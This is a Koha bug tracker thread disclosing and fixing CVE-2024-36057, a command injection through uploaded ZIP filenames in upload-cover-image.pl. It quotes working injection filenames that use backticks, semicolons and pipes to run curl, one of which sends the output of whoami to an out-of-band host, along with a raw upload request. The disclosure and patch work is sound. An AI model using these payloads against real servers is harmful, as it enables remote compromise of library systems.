Bug 36818 - Remote-Code-Execution (RCE) in upload-cover-image.pl (CVE-2024-36057)
Summary: Remote-Code-Execution (RCE) in upload-cover-image.pl (CVE-2024-36057)
Status: Needs documenting
Alias: None
Product: Koha
Classification: Unclassified
Component: Architecture, internals, and plumbing (show other bugs)
Version: Main
Hardware: All Linux
: P1 - high critical (vote)
Assignee: Bugs List
QA Contact: Martin Renvoize
URL:
Keywords:
Depends on:
Blocks:
 
Reported: 2024-05-08 15:50 UTC by Karolis Narvilas
Modified: 2024-06-20 16:12 UTC (History)
15 users (show)

See Also:
Change sponsored?: ---
Patch complexity: ---
Documentation contact:
Documentation submission:
Text to go in the release notes:
Version(s) released in:
24.11.00,24.05.01,23.11.06,23.05.12,22.11.18,22.05.22


Attachments
RCE - Reverse Shell on Koha Library Server (101.82 KB, image/jpeg)
2024-05-08 15:50 UTC, Karolis Narvilas
Details
Bug: 36818 Escape characters in file names uploaded (deleted)
2024-05-08 23:03 UTC, Chris Cormack
Details
Bug: 36818 Escape characters in file names uploaded (1.32 KB, patch)
2024-05-09 21:21 UTC, Chris Cormack
Details | Diff | Splinter Review
Bug: 36818 Escape characters in file names uploaded (1.38 KB, application/mbox)
2024-05-13 10:12 UTC, Amit Gupta
Details
Bug: 36818 Escape characters in file names uploaded (1.38 KB, patch)
2024-05-13 10:15 UTC, Amit Gupta
Details | Diff | Splinter Review
Bug: 36818 Escape characters in file names uploaded (1.44 KB, patch)
2024-05-13 10:16 UTC, Martin Renvoize
Details | Diff | Splinter Review

Note You need to log in before you can comment on or make changes to this bug.
Description Karolis Narvilas 2024-05-08 15:50:06 UTC
Created attachment 166426 [details]
RCE - Reverse Shell on Koha Library Server

Hi -

I am a security consultant at Prism Infosec and have come across an arbitrary code execution vulnerability within the component "upload-cover-image.pl".

https://github.com/Koha-Community/Koha/blob/main/tools/upload-cover-image.pl
Line 142: qx/unzip $filename -d $dirname/;

Here, it is possible to submit malicious characters (backticks `) within the filename capable of command injection during ZIP file upload.

Example Filename: execute`curl domain.com`.zip

The above is then executed after clicking "Process Images". Command injection occurs because the filename is not sanitised, and the backend attempts to execute the following:

unzip execute`curl domain.com`.zip -d $dirname/

The below request was issued to inject system commands within a filename:

POST /cgi-bin/koha/tools/upload-file.pl?temp=1 HTTP/1.1
Host: 192.168.178.141:7002
-- SNIP --
Connection: close

------WebKitFormBoundaryP82Da5V6eaQOuBUT
Content-Disposition: form-data; name="file"; filename="execute`curl $(whoami).j2m9fak6j3xqn18qalko75unieo5c00p.oastify.com`.zip"
Content-Type: application/x-zip-compressed

As such, it is possible to remotely execute commands on the target machine via malicious filenames after uploading and clicking "Process Images". In the screenshot attached, I have executed a malicious filename which established a reverse shell on the server, ultimately compromising it.
Comment 1 Chris Cormack 2024-05-08 19:00:53 UTC
Thanks heaps for the report Karolis. We'll work on a fix now.
Comment 2 Chris Cormack 2024-05-08 20:59:12 UTC
Working on this now
Comment 3 Chris Cormack 2024-05-08 22:15:11 UTC
The problem here comes in upload-file.pl. The coverimage one just grabs the file that has already been uploaded. It's the same with patron images.

So if we fix writing the filename correctly in upload-file.pl we should be able to fix it in the places where its processed.
Comment 4 Chris Cormack 2024-05-08 23:03:01 UTC
Created attachment 166444 [details]
Bug: 36818  Escape characters in file names uploaded

To test:
1/ create a file named something like 'execute`curl blog.bigballofwax.co.nz`.zip'
   Where the domain is one you can watch the logs from
2/ Upload this file as a cover image
3/ Check /var/lib/koha/sitename/tmp/koha_sitename/ and see unescaped filenames
4/ Choose process, check the logs of the webserver see the connection has been made
5/ Apply the patch
5/ Repeat 2 & 3 and see the filename is now escaped
6/ Choose process and check no errors but no no remote execution occurs
7/ Test uploading actual zip file and images still works
Comment 5 Chris Cormack 2024-05-08 23:04:03 UTC
Please if people want to escape more characters add to the regexp. But this will stop the backticks making things executable at least.
Comment 6 Karolis Narvilas 2024-05-09 12:04:40 UTC
Thanks for looking into this - I have requested a CVE ID for this. I'll be happy to re-test this issue and be kept in the loop. I may also have additional security vulnerabilities to report.
Comment 7 Karolis Narvilas 2024-05-09 14:02:01 UTC
Also - just wanted to add that only sanitising backticks (`) will not resolve the vulnerability. I have been able to get RCE with the below filenames too:

filename=";curl domain.com"

filename="|curl domain.com"

Semicolons (;) and pipes (|) can also be leveraged for command injection.
Comment 8 Chris Cormack 2024-05-09 15:13:23 UTC
Yep ill do a new patch that allowlists instead of stripping bad.
Comment 9 Chris Cormack 2024-05-09 21:21:42 UTC
Created attachment 166477 [details] [review]
Bug: 36818 Escape characters in file names uploaded

To test:
1/ create a file named something like 'execute`curl blog.bigballofwax.co.nz`.zip'
   Where the domain is one you can watch the logs from
2/ Upload this file as a cover image
3/ Check /var/lib/koha/sitename/tmp/koha_sitename/ and see unescaped filenames
4/ Choose process, check the logs of the webserver see the connection has been made
5/ Apply the patch
5/ Repeat 2 & 3 and see the filename is now escaped
6/ Choose process and check no errors but no no remote execution occurs
7/ Test uploading actual zip file and images still works
Comment 10 Chris Cormack 2024-05-09 21:22:37 UTC
The content of attachment 166444 [details] has been deleted
Comment 11 Martin Renvoize 2024-05-10 06:16:51 UTC
This looks like a decent approach to me, I'll do some testing today.
Comment 12 Karolis Narvilas 2024-05-13 08:32:41 UTC
Any update on this ?
Comment 13 Katrin Fischer 2024-05-13 09:44:43 UTC
(In reply to Karolis Narvilas from comment #12)
> Any update on this ?

I've posted it in our internal security group. Hope we can get a SO and QA for it soon.
Comment 14 Amit Gupta 2024-05-13 10:12:09 UTC
Created attachment 166621 [details]
Bug: 36818 Escape characters in file names uploaded


To test:
1/ create a file named something like 'execute`curl blog.bigballofwax.co.nz`.zip'
   Where the domain is one you can watch the logs from
2/ Upload this file as a cover image
3/ Check /var/lib/koha/sitename/tmp/koha_sitename/ and see unescaped filenames
4/ Choose process, check the logs of the webserver see the connection has been made
5/ Apply the patch
5/ Repeat 2 & 3 and see the filename is now escaped
6/ Choose process and check no errors but no no remote execution occurs
7/ Test uploading actual zip file and images still works


Work as suggested
Comment 15 Amit Gupta 2024-05-13 10:15:43 UTC
Created attachment 166623 [details] [review]
Bug: 36818 Escape characters in file names uploaded

To test:
1/ create a file named something like 'execute`curl blog.bigballofwax.co.nz`.zip'
   Where the domain is one you can watch the logs from
2/ Upload this file as a cover image
3/ Check /var/lib/koha/sitename/tmp/koha_sitename/ and see unescaped filenames
4/ Choose process, check the logs of the webserver see the connection has been made
5/ Apply the patch
5/ Repeat 2 & 3 and see the filename is now escaped
6/ Choose process and check no errors but no no remote execution occurs
7/ Test uploading actual zip file and images still works



Works as suggested
Comment 16 Martin Renvoize 2024-05-13 10:16:58 UTC
Created attachment 166624 [details] [review]
Bug: 36818 Escape characters in file names uploaded

To test:
1/ create a file named something like 'execute`curl blog.bigballofwax.co.nz`.zip'
   Where the domain is one you can watch the logs from
2/ Upload this file as a cover image
3/ Check /var/lib/koha/sitename/tmp/koha_sitename/ and see unescaped filenames
4/ Choose process, check the logs of the webserver see the connection has been made
5/ Apply the patch
5/ Repeat 2 & 3 and see the filename is now escaped
6/ Choose process and check no errors but no no remote execution occurs
7/ Test uploading actual zip file and images still works

Signed-off-by: Amit Gupta <amit.gupta@informaticsglobal.com>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Comment 17 Martin Renvoize 2024-05-13 10:17:38 UTC
Passing QA here.. all working as I'd expect, no regressions spotted.
Comment 18 Jonathan Druart 2024-05-15 12:52:19 UTC
Does it make sense to have the decode and the substitution right after?

     $filename= Encode::decode_utf8( $filename ); # UTF8 chars in filename
+    $filename =~ s/[^A-Za-z0-9\-\.]//g;

Also I think we should provide tests for this kind of changes.

Marcel, can we have your input on this please?
Comment 19 Marcel de Rooy 2024-05-15 14:45:20 UTC
(In reply to Jonathan Druart from comment #18)
> Does it make sense to have the decode and the substitution right after?
> 
>      $filename= Encode::decode_utf8( $filename ); # UTF8 chars in filename
> +    $filename =~ s/[^A-Za-z0-9\-\.]//g;
> 
> Also I think we should provide tests for this kind of changes.
> 
> Marcel, can we have your input on this please?

Will have a look
Comment 20 Marcel de Rooy 2024-05-15 14:50:51 UTC
Did someone already identify the exact place where the code is actually executed?
Comment 21 Marcel de Rooy 2024-05-15 14:51:40 UTC
(In reply to Marcel de Rooy from comment #20)
> Did someone already identify the exact place where the code is actually
> executed?

Reading about unzip now.
Comment 22 Karolis Narvilas 2024-05-15 14:54:57 UTC
============================================

Line 142 - upload-cover-image.pl

qx/unzip $filename -d $dirname/;

============================================

Once you inject system commands in the filename and click "Process Images"

E.g Filename=dummy`curl domain.com`.zip

The OS will attempt to execute:

qx/unzip dummy`curl domain.com`.zip -d $dirname/;

Commands between backticks will get executed in the backend when unzipping.
Comment 23 Marcel de Rooy 2024-05-15 14:55:48 UTC
(In reply to Karolis Narvilas from comment #22)
> ============================================
> 
> Line 142 - upload-cover-image.pl
> 
> qx/unzip $filename -d $dirname/;
> 
> ============================================
> 
> Once you inject system commands in the filename and click "Process Images"
> 
> E.g Filename=dummy`curl domain.com`.zip
> 
> The OS will attempt to execute:
> 
> qx/unzip dummy`curl domain.com`.zip -d $dirname/;
> 
> Commands between backticks will get executed in the backend when unzipping.

Ah yes. Thanks. Just came across the qx thing.
Comment 24 Marcel de Rooy 2024-05-15 15:00:38 UTC
(In reply to Jonathan Druart from comment #18)
> Does it make sense to have the decode and the substitution right after?
> 
>      $filename= Encode::decode_utf8( $filename ); # UTF8 chars in filename
> +    $filename =~ s/[^A-Za-z0-9\-\.]//g;

I understand the question. We could remove a lot of the decode right after. But decoding before further processing seems to be the correct order formally.

> Also I think we should provide tests for this kind of changes.

Tests would be fine of course. But we should not wait too long here. I would push now, not missing a release.
Comment 25 Katrin Fischer 2024-05-17 10:21:00 UTC
Fixed the patch title.
Comment 26 Karolis Narvilas 2024-05-20 09:23:27 UTC
Hi all -

This issue has just been assigned CVE-2024-36057 by CVE MITRE - if possible, please reference this ID in the next release announcement (assuming this issue is fixed in that release)

Many thanks - let me know if you have any questions :)
Comment 27 Katrin Fischer 2024-05-21 09:31:02 UTC
Should we generalize the bug description a bit since we now fixed the issue on a higher level (not in the .pl file mentioned)?
Comment 28 David Cook 2024-05-29 02:19:08 UTC
(In reply to Jonathan Druart from comment #18)
> Does it make sense to have the decode and the substitution right after?
> 
>      $filename= Encode::decode_utf8( $filename ); # UTF8 chars in filename
> +    $filename =~ s/[^A-Za-z0-9\-\.]//g;
> 
> Also I think we should provide tests for this kind of changes.
> 
> Marcel, can we have your input on this please?

It looks to me like this patch doesn't include underscores and a number of characters as valid filenames. 

Trying to sanitize filenames can be tricky.

--

In bug 34349, we first take the user-inputted string and validate it. Of course sometimes a string that is valid in an application can still be a malicious string in the shell. 

So we wrap the final string in single quotes and escape any single quotes in the string. I think that would be the safest from a security perspective while also allowing the full range of acceptable filenames for the OS.
Comment 29 David Cook 2024-05-29 02:20:50 UTC
(In reply to David Cook from comment #28)
> It looks to me like this patch doesn't include underscores and a number of
> characters as valid filenames. 
> 
> Trying to sanitize filenames can be tricky.

Disregard this part of my comment. I see that we're doing a s// and not a m//. Nevermind. That's fine. A bit suboptimal but it won't cause silent errors. It'll move us farther along.

--

I'd still suggest escaping the string passed to unzip just to be on the safe side, but that could be on a separate issue...
Comment 30 Karolis Narvilas 2024-06-11 14:52:20 UTC
Thanks - is there an approximate timeline for when these fixes will be published ?
Comment 31 Lucas Gass 2024-06-11 17:16:25 UTC
(In reply to Karolis Narvilas from comment #30)
> Thanks - is there an approximate timeline for when these fixes will be
> published ?

Karolis, very soon. The release team is currently coordinating a security release that will include this fix in versions 24.05.01, 23.11.06, 23.05.12 ,22.11.18 ,22.05.22. Those versions, and packages for them, will be available in a few days.
Comment 32 Katrin Fischer 2024-06-20 16:12:31 UTC
Missed the wrong commit message... Bug: ...

Pushed for 24.11!
Well done everyone, thank you!